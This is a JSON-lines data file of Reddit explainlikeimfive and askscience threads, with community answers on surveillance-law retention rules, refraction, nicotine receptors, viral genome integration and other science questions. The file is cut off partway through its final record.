{"q_id": "2pzk97", "title": "what does hr 4681- 2015 intelligence authorization act, specifically section 309, actually mean in plain english?", "selftext": " & gt;SEC. 309. PROCEDURES FOR THE RETENTION OF **INCIDENTALLY \nACQUIRED COMMUNICATIONS**. \n(a) DEFINITIONS.\u2014In this section: \n(1) COVERED COMMUNICATION.\u2014The term \u2018\u2018covered commu-\nnication\u2019\u2019 means any nonpublic telephone or electronic commu-\nnication **acquired without the consent of a person who is a \nparty to the communication, including communications in electronic storage**. \n\n & gt;(2) HEAD OF AN ELEMENT OF THE INTELLIGENCE COMMU-\nNITY.\u2014The term \u2018\u2018head of an element of the intelligence commu-\nnity\u2019\u2019 means, as appropriate\u2014 \n(A) the head of an element of the intelligence commu-\nnity; or \n(B) the head of the department or agency containing \nsuch element. \n\n & gt;(3) UNITED STATES PERSON.\u2014The term \u2018\u2018United States per-\nson\u2019\u2019 has the meaning given that term in section 101 of the \nForeign Intelligence Surveillance Act of 1978 (50 U.S.C. 1801). \n(b) PROCEDURES FOR COVERED COMMUNICATIONS.\u2014 (1) REQUIREMENT TO ADOPT.\u2014Not later than 2 years after the date of the enactment of this Act each head of an element of the intelligence community shall adopt procedures approved \nby the Attorney General for such element that ensure compli-\nance with the requirements of paragraph (3). \n\n & gt;(2) COORDINATION AND APPROVAL.\u2014The procedures required by paragraph (1) shall be\u2014 \n(A) prepared in coordination with the Director of National Intelligence; and \n(B) approved by the Attorney General prior to issuance. \n\n & gt;(3) PROCEDURES.\u2014 (A) APPLICATION.\u2014The procedures required by paragraph (1) **shall apply to any intelligence collection activity \nnot otherwise authorized by court order** (including an order \nor certification issued by a court established under sub-\nsection (a) or (b) of section 103 of the Foreign Intelligence Surveillance Act of 1978 (50 U.S.C. 1803)), subpoena, or similar legal process that is reasonably anticipated to result \nin the acquisition of a covered communication to or from a United States person and shall permit the acquisition, \nretention, and dissemination of covered communications subject to the limitation in subparagraph (B). \n\n & gt;(B) LIMITATION ON RETENTION.\u2014**A covered communication shall not be retained in excess of 5 years, unless**\u2014 \n(i) the communication has been affirmatively determined, in whole or in part, to constitute foreign intelligence or counterintelligence or is necessary to understand or assess foreign intelligence or counterintelligence; \n(ii) the communication is reasonably believed to constitute evidence of a crime and is retained by a law enforcement agency; \n(iii) **the communication is enciphered or reasonably believed to have a secret meaning**; \n(iv) all parties to the communication are reasonably believed to be non-United States persons; \n(v) **retention is necessary to protect against an imminent threat to human life**, in which case both the nature of the threat and the information to be \nretained shall be reported to the congressional intelligence committees not later than 30 days after the date such retention is extended under this clause; \n(vi) retention is necessary for technical assurance or compliance purposes, including a court order or \ndiscovery obligation, in which case access to information retained for technical assurance or compliance \npurposes shall be reported to the congressional intelligence committees on an annual basis; or (vii) retention for a period in excess of 5 years \nis approved by the head of the element of the intelligence community responsible for such retention, \nbased on a determination that retention is necessary to protect the national security of the United States, \nin which case the head of such element shall provide to the congressional intelligence committees a written certification describing\u2014 \n(I) the reasons extended retention is necessary \nto protect the national security of the United States; \n(II) the duration for which the head of the element is authorizing retention; \n(III) the particular information to be retained; and \n(IV) the measures the element of the intelligence community is taking to protect the privacy interests of United States persons or persons located inside the United States.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2pzk97/eli5_what_does_hr_4681_2015_intelligence/", "answers": {"a_id": ["cn1f7zv", "cn1ocoh", "cn1p8ij", "cn1sh7q"], "score": [33, 3, 2, 3], "text": ["Incidentally acquired information: anything the NSA or CIA picks up by means of looking at Facebook, Twitter, Reddit, or information such as telephone records given to those agencies by AT & T or Sprint, etc, can be kept for up to five years without Court approval. If the intelligence agency wishes to keep SPECIFIC information beyond five years, they submit a written request to the congressional intelligence committee who will, most likely, approve the request. \n\nNote, again, this applies to \"any intelligence collection activity not otherwise authorized by court order\" -- so anything they get without court approval, they can use. ", "Does this statue operate based on secret definitions of terms?\n\nIf so then even if you understand what it says, that isn't what it says....\n\n >  (iii) the communication is enciphered or reasonably believed to have a secret meaning;\n\nOh I like that bit.... So if it's encrypted, you can keep it until you can decrypt it.", "Incidentally acquired information is simply information that is gathered indirectly while gathering other information. For example: The CIA is monitoring internet traffic from an IP address they believe has been sending information to terrorists abroad. This IP address happens to be a public computer at a library and they end up seeing your internet searches regarding nuclear energy. \n\nThis bill makes it so that the CIA must delete this information within 5 years outside of a few exceptions. The two you have in bold mean:\n\n**iii**) the traffic is encrypted. Until such a time that they can decrypt that data, they have every reason to believe it could be data of interest and may fall under any other exception in the bill.\n\n**v**) If the data pertains to an IMMINENT threat to human life. This is a little weasely because imminent isn't a great measure of time. ", "ELI5 on this is:\nThanks to the terror scare, our government casts a broad net and collects tons of personal communications and data warrantlessly and unconstitutionally. As long as we have a Constitution, people in public service are expected to obey it. They don't want to so they write laws like this to make it \"legal\" to breach your Constitutional rights. \n\nLet's translate this masterpiece:\n\n\n\n > SEC. 309. PROCEDURES FOR THE RETENTION OF INCIDENTALLY ACQUIRED COMMUNICATIONS. (a) DEFINITIONS.\u2014In this section: (1) COVERED COMMUNICATION.\u2014The term \u2018\u2018covered communication\u2019\u2019 means any NONPUBLIC telephone or electronic communication acquired without the consent of a person who is a party to the communication, including communications in electronic storage.\n\n\n^This means we are talking about communications you entered into with a reasonable expectation of privacy which were somehow collected by a government agency without your consent (Or knowledge is implied but not stated). The guy who said FB wall posts is incorrect. This would be e-mails, facebook private messages, phone conversations.\n\n\n\n\n > (2) HEAD OF AN ELEMENT OF THE INTELLIGENCE COMMUNITY.\u2014The term \u2018\u2018head of an element of the intelligence community\u2019\u2019 means, as appropriate\u2014 (A) the head of an element of the intelligence community; or (B) the head of the department or agency containing such element. \n\n\n^This means, broadly, any team leader of any kind of team at one of our intelligence agencies. There may be hundreds if not thousands of people who technically fit this definition. The CIA's head party planner fits this definition.\n\n\n\n > (3) UNITED STATES PERSON.\u2014The term \u2018\u2018United States person\u2019\u2019 has the meaning given that term in section 101 of the Foreign Intelligence Surveillance Act of 1978 (50 U.S.C. 1801). \n\n\n^This means you, if you are an American citizen.\n\n\n\n(b) PROCEDURES FOR COVERED COMMUNICATIONS.\u2014 (1) REQUIREMENT TO ADOPT.\u2014Not later than 2 years after the date of the enactment of this Act each head of an element of the intelligence community shall adopt procedures approved by the Attorney General for such element that ensure compli- ance with the requirements of paragraph (3). \n\n\n^This gives all of the data collecting groups covered in this law the right to continue their current status quo for two years from the signing of it into law.\n\n\n\n\n\n > (2) COORDINATION AND APPROVAL.\u2014The procedures required by paragraph (1) shall be\u2014 (A) prepared in coordination with the Director of National Intelligence; and (B) approved by the Attorney General prior to issuance. \n\n\n^This means, again broadly, that the two officials mentioned above will oversee the process to decide how to apply this law. It also gives the Attorney General the right to send the 7,593 point plan (a joke)  that will be written on how to implement this law back to the drawing board if he doesn't like it.\n\n\n\n\n\n > (3) PROCEDURES.\u2014 (A) APPLICATION.\u2014The procedures required by paragraph (1) shall apply to any intelligence collection activity not otherwise authorized by court order (including an order or certification issued by a court established under sub- section (a) or (b) of section 103 of the Foreign Intelligence Surveillance Act of 1978 (50 U.S.C. 1803)), subpoena, or similar legal process that is reasonably anticipated to result in the acquisition of a covered communication to or from a United States person and shall permit the acquisition, retention, and dissemination of covered communications subject to the limitation in subparagraph (B). \n\n\n^This means that the law only applies to communications that were collected warrantlessly, or in some other non authorized (read unconstitutional and probably illegal) means. It further states that this law permits such data to be both ACQUIRED and stored, within the limits set in the section below.\n\n\n\n\n\n > (B) LIMITATION ON RETENTION.\u2014A covered communication shall not be retained in excess of 5 years, unless\u2014 (i) the communication has been affirmatively determined, in whole or in part, to constitute foreign intelligence or counterintelligence or is necessary to understand or assess foreign intelligence or counterintelligence; (ii) the communication is reasonably believed to constitute evidence of a crime and is retained by a law enforcement agency; (iii) the communication is enciphered or reasonably believed to have a secret meaning; (iv) all parties to the communication are reasonably believed to be non-United States persons; (v) retention is necessary to protect against an imminent threat to human life, in which case both the nature of the threat and the information to be retained shall be reported to the congressional intelligence committees not later than 30 days after the date such retention is extended under this clause; (vi) retention is necessary for technical assurance or compliance purposes, including a court order or discovery obligation, in which case access to information retained for technical assurance or compliance purposes shall be reported to the congressional intelligence committees on an annual basis; or (vii) retention for a period in excess of 5 years is approved by the head of the element of the intelligence community responsible for such retention, based on a determination that retention is necessary to protect the national security of the United States, in which case the head of such element shall provide to the congressional intelligence committees a written certification describing\u2014 (I) the reasons extended retention is necessary to protect the national security of the United States; (II) the duration for which the head of the element is authorizing retention; (III) the particular information to be retained; and (IV) the measures the element of the intelligence community is taking to protect the privacy interests of United States persons or persons located inside the United States.\n\n\n\n^This means that a government agency can collect and hold onto any private communication you ever have in a completely Unconstitutional, and (prior to this law) Illegal, manner for up to 5 years. After five years they can choose from this list of incredibly broad justifications and say your data falls under one of them and keep it forever. Or if they can't find justification from even the ambiguous list in the beginning of the section, the head of their element can say you are a threat to national security and file what will probably end up manifesting into a single page standardized form with a committee that will likely rubber stamp 1000's of these a year.\n\n\nThis document makes it legal to surveil any communication you ever have and hold onto the data collected for 5 years for no reason and keep it forever if there is ANYTHING AT ALL that could be construed to be suspicious about it. When did this happen? This is the end of any personal right to privacy of communication for US citizens D:\n\nEdit: People will try to argue the point about acquisition (and likely the rest too, but hey), simply look at section (3)(A) and note the punctuation. It is worded in a misleading way but that is all one big sentence and read according to the rules of the English language, it says exactly what I said it does. Subparagraph (B) is listed as the limiter of:\n-Acquisition\n-Dissemination\n-Retention \nOf all warrantlessly acquired data\nDo you see any limits in sub paragraph (B) on acquisition or dissemination?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "37kojd", "title": "Why do we use sine to calculate refractive index?", "selftext": "In class today I learnt about refractive index. We only got as far as a practical and learning the equation (n = sin(i) / sin(r)). I understand why we would need to calculate refractive index, but I don't understand why we use the sine function in the equation. I always thought sine was a wave, so if anyone can explain this to me I would be grateful.\n\nEdit: Spelling mistake", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/37kojd/why_do_we_use_sine_to_calculate_refractive_index/", "answers": {"a_id": ["crnj1ok", "crnmd2q"], "score": [4, 3], "text": ["The sine function gives a wave when plotted in a graph, but it is also the ratio of two specific sides of a triangle for a given angle. The calculation for refraction index uses the second usage of sine. ", "Snell's law can be derived from Fermat's principle or Huygen's principle (or a few other ways I'm sure, but I've only had geometrical optics).\n\nThe definition of the refractive index of a medium is\n\n >  n = c/v\n\nWhere c is the speed of light in a vacuum, and v is the speed of light in that particular medium. \n\nHuygen's principle states that, on the wavefront of light, every point can be seen as a little point source of waves, where their collective interference causes an effective plane wave. Drawing these wavelets on an interface between two materials leads to [this image](_URL_0_).\n\nThe distance between the parallel green and red lines in this image is the wavelength of light in the medium,  \u03bb. If you draw two right-angled triangles like in [this shittily drawn image](_URL_1_), you can use SOH to write two relations:\n\n >  sin(i) = \u03bb1/d - >  d = \u03bb1/sin(i)\n\n >  sin(r) = \u03bb2/d - >  d = \u03bb2/sin(r)\n\nFor a wave, the wave speed is the wavelength times the frequency: v = \u03bbf. Equating the above relations and inserting \u03bb = v/f:\n\n >  (v1/f)/sin(i) = (v2/f)/sin(r) - >  v1/sin(i) = v2/sin(r)\n\nUsing the definition of the refractive index:\n\n >  (c/n1)/sin(i) = (c/n2)/sin(r)\n\n >  n1\\*sin(i) = n2\\*sin(r)\n\nThe refractive index of air is usually taken to be 1, so inserting n1 = 1 yields your familiar high school formula."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://upload.wikimedia.org/wikipedia/commons/thumb/b/b7/Refraction_-_Huygens-Fresnel_principle.svg/1280px-Refraction_-_Huygens-Fresnel_principle.svg.png", "http://i.imgur.com/9AerIta.png"]]}
{"q_id": "44gfll", "title": "What effect, if any, did the huge losses of life in WWII have upon the genetic health of the war torn populations?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/44gfll/what_effect_if_any_did_the_huge_losses_of_life_in/", "answers": {"a_id": ["czq42sz"], "score": [23], "text": ["There was a famine in the Netherlands related to the war, and it led to epigenetic changes in children of women who were pregnant at the time:\n_URL_0_\n\nStill not exactly what you were asking for, but I found it interesting."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.ncbi.nlm.nih.gov/pmc/articles/PMC2579375/"]]}
{"q_id": "5oh1mq", "title": "how did holland (or more specifically amsterdam) become such a liberal place when surrounded by religion?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5oh1mq/eli5_how_did_holland_or_more_specifically/", "answers": {"a_id": ["dcj9mbo", "dcjg2mk"], "score": [7, 4], "text": ["Holland were too wet to do efficient agriculture so the land were very cheap. This were ideal for capitalists merchants who wanted cheap land with good harbors. The more extreme case is Venice but a lot of other cities are built on march lands close to the ocean and rivers. The new cities were mostly run by capitalists who did not care about the religion of the people they traded with. To get the most gains they would loan money from the Jews, buy tea from the Muslims, use Catholic transports and sell it to Protestants. Religion were a more personal thing and did not fit in with modern capitalist ideas. Anyone who made trade decisions based on religion would get out competed by his peers. This is also where Martin Luthers ideas fitted right in. Holland were also on the boarder between protestant in what is now Germany and catholic France. So any religious racism would lose you clients quite fast.", "Historically Holland was an open trading country, which meant a large scale exchange of goods and services, and also people - hence new ideas and approaches to things.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "15f99k", "title": "why does color have a \"temperature\" and why is it expressed in kelvin?", "selftext": "Please no Apples and Pears and 5 year olds analogies, I don't need them.\n\nI just want an explanation in layman terms as to why colors, particularly white, has a temperature and is expressed in Kelvin?\n\nFirst thing that came to my mind was Iron/Steel process. You can approximate its temperature by the color it glows. The whiter it is, the hotter. \n\nBut that can't be, because 5400K(elvin), a temperature often found on white lights, would be 5126.85 \u00b0C. Iron has a melting point around 15xx \u00b0C, Steel something lower if I remember correctly.\n\nSo long story short: Why and how do colors have temperature and why are those expressed in Kelvin, when you can't actually feel any heat.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/15f99k/eli5_why_does_color_have_a_temperature_and_why_is/", "answers": {"a_id": ["c7lxmy1"], "score": [6], "text": ["It's because of something called black-body radiation. Black-body radiation is the idea that as things get hot they glow. The hotter the object is the higher the frequency of light. Eventually it will emit radiation in the visible spectrum.\n\nThe temperature that is associated with a given color of light refers to what temperature an ideal black-body radiator would be that would glow that color. Reds and oranges are lower frequencies so they don't need to be as hot. Blues and purples are higher frequency and so need to be hotter to give off that color. White is a combination of all of the visible colors so it needs to be the hottest."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5llpcw", "title": "what % european ancestry is the modern indian population?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5llpcw/eli5_what_european_ancestry_is_the_modern_indian/", "answers": {"a_id": ["dbwl85a"], "score": [2], "text": ["This question is impossible to answer as there is no flat percentage to give. Each person/family/bloodline would be different. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1e1vt0", "title": "how do they make such complex ascii art?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1e1vt0/eli5_how_do_they_make_such_complex_ascii_art/", "answers": {"a_id": ["c9w0ta8", "c9w1q91", "c9w26er"], "score": [10, 6, 4], "text": ["Usually with computer programs. There are many different approaches to generating an ASCII image, depending on how you want your final image to look. For example one simple method would be to transform a picture into a low-resolution grid, where each cell in the grid is assigned a letter depending on the brightness of the picture inside of that cell. It's also possible to mimic certain patterns in each cell, for example a \"`L`\" can be used to represent a right angle, a `#` can be used for heavy shading and a `+` for light shading, etc.", "I'll assume you're talking about images like this one of Mr. Spock: _URL_0_\n\nBasically, you work out how much darker each available character makes the page. Some take an extra step of working out combinations of characters (such as how dark would a typed M over a typed I be?).\n\nOnce you've worked out all that information, you scan a desired image in, and break it down into a grid of blocks, with each block having a specified level of grey.\n\nOnce you have the image encoded that way, you simply go through each block, and find the character (or combination of characters) that will give a corresponding shade on the page, and replace that block with that character.\n\nWith older computers, such as those in the 70s and early 80s, this was a lot of hard work and a very impressive feat. Having built on this and improved the technology since then, it's more common and easier to use such technology. In fact, many video programs have a mode that will let you record a video in ASCII mode in real time!", "You can make anything ascii with this site: _URL_0_\r\rLove it"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.atariarchives.org/bcc1/showpage.php?page=274"], ["http://asciifi.com/"]]}
{"q_id": "dhwknn", "title": "le chatelier\u2019s principle", "selftext": "ELIF about Le Chatelier\u2019s principle.\n\nI understand that dynamic equilibrium can only be reached in a closed system, but I don\u2019t understand I Le Chatelier\u2019s principal only applies to closed systems. I would have thought that it must only apply to closed systems as only closed systems can reach equilibrium, or does Le Chatelier\u2019s principle not end up with the reaction being in dynamic equilibrium? Thanks", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/dhwknn/elif_le_chateliers_principle/", "answers": {"a_id": ["f3r80xn"], "score": [4], "text": ["Le Chateliers principle doesn\u2019t actually care if equilibrium is reached, its just a natural opposition that arises along the way.\n\nIf you had rooms A, B, and C, all in a line and you pushed too many people into B, then it doesn\u2019t matter if C is open or closed at the other side, people leaving A will still be slowed down because of the crowd in room B."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "47obe1", "title": "Does the 'wisdom of the crowds' only get better as the number of people surveyed increase?", "selftext": "Or is there an upper limit, where beyond the limit it gets worse? The application of interest is in national elections.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/47obe1/does_the_wisdom_of_the_crowds_only_get_better_as/", "answers": {"a_id": ["d0fbs4o"], "score": [4], "text": ["The \"wisdom of the crowds\" phenomena only really applies to questions with well-defined, objective answers (such as \"What is the capital of Swaziland?\" or \"Does 1+1=17?\"). In the case of national elections, this depends on your metric. If you are asking \"Which is the best candidate?\", you are asking a totally subjective questions and the \"wisdom of the crowds\" does not apply. If you are asking, \"Which candidate is most likely to address the ongoing conflicts in Syria?\", this is still somewhat subjective, but there are ways to objectify the question with measurable quantities such as \"How many time has each candidate mentioned Syria in debates?\".\n\nLet us assume we are trying to answer the yes-or-no question \"Does 13+1*7+8/2=24?\" with a survey of random people. In theory, the more random people you survey, the more likely it is that the most frequently answered number is the correct answer. There is no point in the theory at which it gets worse. In practice though, this is not always true. Imagine you poll 100 people on this survey and you get 50 people to say 24 and 49 people to say 53 (objectively, the correct answer is 24). Since the majority (50  >  49) say that the answer is 24, you assume that to be true (and you're right!). Let's say you poll two more people and those people happen to not remember their middle school arithmetic and they answer 53. Now you have 51 people - the majority - giving the wrong answer and so by polling a higher number of people (101 versus 100), you actually went from having the right answer to having a wrong answer. This just comes down to chance though - on average, a random poll will always bring you closer to the solution when you increased the number of people in your poll.\n\nEdit: [Here](_URL_0_) is a paper that might discuss a phenomena more relevant to national elections."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.pnas.org/content/108/22/9020.full.pdf"]]}
{"q_id": "4jlme4", "title": "why do search engines tell you how long the search took?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4jlme4/eli5_why_do_search_engines_tell_you_how_long_the/", "answers": {"a_id": ["d37jwxr"], "score": [13], "text": ["Honestly, they're kind of bragging to show you how good/fast/awesome they are. There is no other reason; it might be interesting to a very small segment of the population, but it's more about people going \"Wow, 20 billion results in 0.02 seconds!\""]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "bp5mwq", "title": "how is mustard zero calories? or is this just like a \u201cround down\u201d-ish type scenario?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bp5mwq/eli5_how_is_mustard_zero_calories_or_is_this_just/", "answers": {"a_id": ["enougtt", "enouiby", "enousjk", "enowm87"], "score": [19, 6, 6, 3], "text": ["In the US if the serving size has less than 5 Calories they are legally allowed to label the food as Calorie free or Zero Calorie. Since the serving size of mustard is tiny in falls into this category.", "The Food and Drug Administration allows each company to determine what it will call a \"serving size\" for each of its products, and whenever a product's serving size contains less than five calories, the company is allowed to label it as \"Calorie Free.\"", "So the trick is two fold.\nFirst fold, we only report the calories in a food that humans can use.\nSecond fold, we round calories according to these rules.\n\nCalories\n\nFewer than 5\u00a0calories\u00a0per serving,\u00a0rounddown to zero.\n\n50 or fewer\u00a0calories\u00a0per serving,\u00a0round\u00a0to the nearest 5 increment (i.e. 42 rounds to 40).\n\nMore than 50\u00a0calories\u00a0per serving,\u00a0round\u00a0to the nearest 10 increment (i.e. 106 becomes 110).\n\nFrom the site., _URL_0_", "Well thanks everyone! I expected this to be more chemically complex, but now I feel bad about not googling it. I truly feel 5. Well done all around."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://www.labelcalc.com/food-labeling/a-guide-to-using-fda-rounding-rules-for-your-food-label/"], []]}
{"q_id": "46ncg2", "title": "Pleochroism vs Birefringence, same or different?", "selftext": "TLDR: What's the difference?\n\nI learned a new word recently from the Skeptic's Guide to the Universe podcast; pleochroism. I am a lab tech in a hospital lab. We perform crystal exams on synovial fluid. In our procedures we call the crystals birefringent if, under polarized light, they display a different color when oriented parallel than perpendicular to the axis of the light source.\nMSU crystals are blue when perpendicular to the axis while they are yellow when parallel.\nThis seems to be more like pleochroism than birefringence. Clarify it for me.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/46ncg2/pleochroism_vs_birefringence_same_or_different/", "answers": {"a_id": ["d06iho1", "d06kqja"], "score": [7, 6], "text": ["Pleochroism and birefringence are different and you're right, what you're describing is [pleochroism](_URL_1_) (i.e. a mineral crystal changes color when it is rotated on a microscope stage while being illuminated by plane polarized light). Birefringence, at least in the context of petrographic microscopy is a property that is only detectable when viewed under crossed-polarized light (i.e. the sample is illuminated from below by plane-polarized light, but there is an 'analyzer' above the sample, between the objective and the eyepiece, that is polarized and oriented such that the plane of polarization is perpendicular to the light source, I realize that is a clumsy description so maybe an image like [this one, scroll down to Nesse 7-13](_URL_2_), will help to clarify what I mean. \n\nSo under crossed-polars, the birefringence of a mineral is related to the [interference colors](_URL_0_). I could try to paraphrase what that means, but the link does a much better job, so from there:\n\n > Interference colours are produced because plane polarised light passing through a mineral section splits into two rays vibrating at 90 degrees to each other. The two rays travel at a different velocities depending on the refractive index of a mineral in the direction of the vibration. The rays are, therefore, called the fast ray and the slow ray. Because the fast and slow ray travel at different velocities they become out of phase and when they recombine at the analyser they interfere to produce light of a characteristic wavelength.\n\nNow, the next sentence likely gets to the source of your confusion between pleochroism and birefrigence, \n\n > Interference colours change with the orientation of the mineral section for anisotropic minerals because the refractive indices of the mineral are different in different directions.\n\nThe birefringence is just the maximum interference color observed (maximum being the farthest to the right on a chart like [this](_URL_0_?itype=1) ) and is the difference in the refractive indices between the fast and slow ray.\n\nHopefully that helps, I was always terrible at mineralogy.\n\nEdit: It seems there is a better answer more focused on the particular application you are describing from u/cryoprof. From their answer it does seem like the microscope you are using has a cross polarizer, hence my confusion that what are you describing is pleochroism. It also sounds like these microscopes are quite similar to what we use for looking at rocks, the pleochroic insert sounds analogous to a gypsum plate within a petrographic microscope.", "MSU crystals (gout) are *birefringent*, which can be observed (with no color changes) using crossed polarizers.  If one additionally inserts a quarter-wave plate (which is made from a *pleochroic* material) into the light path of the microscope, then you get the blue and yellow colors when you change the crystal orientation.\n\n\n-\n\n\nThus, the MSU crystals are birefringent, but the color effect that you see when identifying MSU birefringence is a result of pleochroism in the quarter wave compensator plate that is also in the light path."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://wwwf.imperial.ac.uk/earthscienceandengineering/rocklibrary/learninterference1.php", "http://www.gly.bris.ac.uk/www/teach/opmin/mins.html#pleo", "http://www.geo.arizona.edu/geo3xx/geo306_mdbarton/classonly/306%20Web%20Materials/306_Lecture041101.htm", "https://wwwf.imperial.ac.uk/earthscienceandengineering/rocklibrary/learninterference1.php?itype=1"], []]}
{"q_id": "1zrj7k", "title": "Do viruses have a preferred location in the genome of a host organism to splice themselves in?", "selftext": "My understanding is that retroviruses  &  viruses actually get spiced into the genome of their host.  Is this true or do they function more like plasmids?  \n\nIf they do in fact splice themselves in, Are there any studies which demonstrate that virus will target a specific spot within the genome or do they just splice in wherever they can?  ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1zrj7k/do_viruses_have_a_preferred_location_in_the/", "answers": {"a_id": ["cfwgjc1", "cfwhw4g", "cfwijyc", "cfx5q4j"], "score": [6, 2, 3, 2], "text": ["Introduction of a virus into a host cell can take either of two pathways. In the lytic pathway the virus genome is incorporated into the host cell, but it is not incorporated into the host cell genome. So in the lytic pathway the viral DNA or RNA behaves similarly to a plasmid, but only in the sense that it is separate from the main genome of the cell. The lysogenic pathway involves the incorporation of the viral genome into the host genome. This does occur at specific sites, and the process is aided by proteins present in the host organism and proteins included in the virus prior to its introduction into the cell. Overall viruses are extremely selective in the organisms they infect, and I believe they are very selective in the sites they splice themselves into in general. For example, bacteriophage lambda is lysogenic, and splices its genome into a very specific site in E coli. \n\nAlso an interesting side note, some bacteria contain DNA that was once part of a virus, so it's possible that viruses have contributed to the evolution/genetic variation of some organisms. ", "They integrate into the genome.\n\nYes. May viruses have specificity. A lot of it has to do with the structure of the DNA rather than the specific sequence. I'm no expert, see [here](_URL_0_) for what looks like a good review.", "Yes, retroviruses do splice themselves into the host genome.  They are (+) sense, single stranded RNA viruses which, upon entry, use a reverse transcriptase and after several steps, creates a double stranded DNA version of their genome known as proviral DNA.  A viral protein called integrase does some fancy cutting which allows the viral DNA to insert itself into the host DNA.  Host DNA polymerases then come and repair the spot where the viral DNA was inserted, and just like that, the virus will now replicate with the host cell.\n\nTo answer your question about genome location, a quote from Fundamentals of Molecular Virology, \"Integration sites appear to be distributed randomly over the host genome.\"", "It depends on the virus really. Some viruses do not incorporate into the host genome at all. Those viruses that do may do so randomly, or specifically. Specificity could be for a sequence or something else, a good example being the downstream side of a strong promoter, which would cause the integrated viral DNA to be transcribed more. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.ncbi.nlm.nih.gov/pmc/articles/PMC2106846/"], [], []]}
{"q_id": "1i0um6", "title": "what roles do ganglionic nicotine receptors play in the brain of a non-smoker? having gone through puberty and well into my late 20's as a smoker, do i permanently have more of these than a non-smoker? does this affect my ability to regulate mood in an adverse way?", "selftext": "When I was 29 I managed to quit smoking for two years. It took almost 2 months before I could feel happy again. I know that smokers have higher numbers of ganglionic nicotine receptors to cope with the excess nicotine. I know that nicotine creates a high dopamine release. \n\nWhat I can't  find info on is what happens to the nicotine receptors. Does the brain \"shut them off\" or destroy them. If they stay,  do they always stay there even if not activated?\n\nAnd as a smoker through puberty did my brain develop in a way that made it harder to regulate dopamine and serotonin on its own?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1i0um6/eli5_what_roles_do_ganglionic_nicotine_receptors/", "answers": {"a_id": ["cazz89f", "cb0143g", "cb01fg3"], "score": [14, 23, 13], "text": ["This might do better in /r/askscience ", "When \"ganglionic\" is the 4th word of your question, its time to leave \"explain like I'm five\"", "It's actually a decrease in expression of the receptor, not an increase.\n\nAgonists(like dopamine) generally lead to receptor downregulation. What this means is that the receptor isn't made as much in the ribosomes(place where the \"blueprints\" made by the nucleus are decoded). The complexity of gene regulation means it is poorly understood, but the basic mechanisms are known. Some stop the message from the nucleus from ever being sent, some make it send the message more.\n\n* double space\n\nThere's multiple ways that both of these things can happen. One stops the protein \"machine\" that makes the blueprint from latching onto the \"master plan\"(chromosome). Another one helps the machine(RNA polymerase) get established. And then there's a whole other layer, where there's things which can increase or decrease the activity of those first two regulators. Most importantly, all these controlling factors can even control the production of themselves!\n\nThere's just so many different mechanisms,it's nearly impossible to characterize them all, much less understand how they function as a system. What I mean is that there's many different polymorphs within each type of these regulators-many regulating other regulators, or even regulating themselves.\n\n* double space\n\nSo after all that talk of regulation, the term for the decrease of receptor expression and thus density on the surface, is called what else but downregulation. All of these mechanisms are to maintain homeostasis in the long term-when there's a lot of activity at a receptor, normally that signals something is out of whack and it needs to be brought back into equillibrium, same thing when there's relatively little activity. Note that receptors are just a specific type of protein, all proteins are regulated. \n\nIt's difficult to say if changing the balance of receptor activity during your neurological development lead to a permanent change. We kind of need to make a couple dozen clones of you, give half of you nicotine and half of you a placebo, then periodically sacrifice one of you to blend up your brain and measure the receptor expression. I'll go ahead and run that by the ethics board real quick.\n\n* double space\n\nAs for the function of the endegenous ligand at the nicotine receptor, acetylcholine, it's involved in many regulatory functions. Basically, when nicotine or acetylcholine binds to it, it acts as a key to a \"gate\" which lets positively charged ions in. This means the difference in charge becomes larger and it's more likely to fire. Because it does this, it can help to release other neurotransmitters(like dopamine) depending upon what other receptors are on the cell.\n\nIt's also how your brain sends signals for a muscle to contract-but instead of preemptively signalling to release other neurotransmitters, it generally is responding to the neurotransmitters released directly at the connection between the neurons. These are two separate but similar receptors, which respond differently to the same ligand.\n\n* double space\n\nOther receptors act as gates too-some let in negative ions though, and decrease the likelihood of the neuron firing. Many others don't have a channel at all;instead they set off a chain reaction that influences the metabolism of the cell either up or down. For every ligand, there may be dozens of different types of receptor, that might act in entirely opposite ways.\n\nSo, they would just cancel each other out, right? Well, no. Receptors(and proteins) are regulated as such the distribution throughout the brain is very uneven. This means that the same substance, or even the same exact receptor can play multiple regulatory roles throughout the brain. \n\nBasically, good question, science doesn't really have an answer yet, go ahead and check back in a few decades.\n\n\n\n"]}, "title_urls": [], "selftext_urls": [], 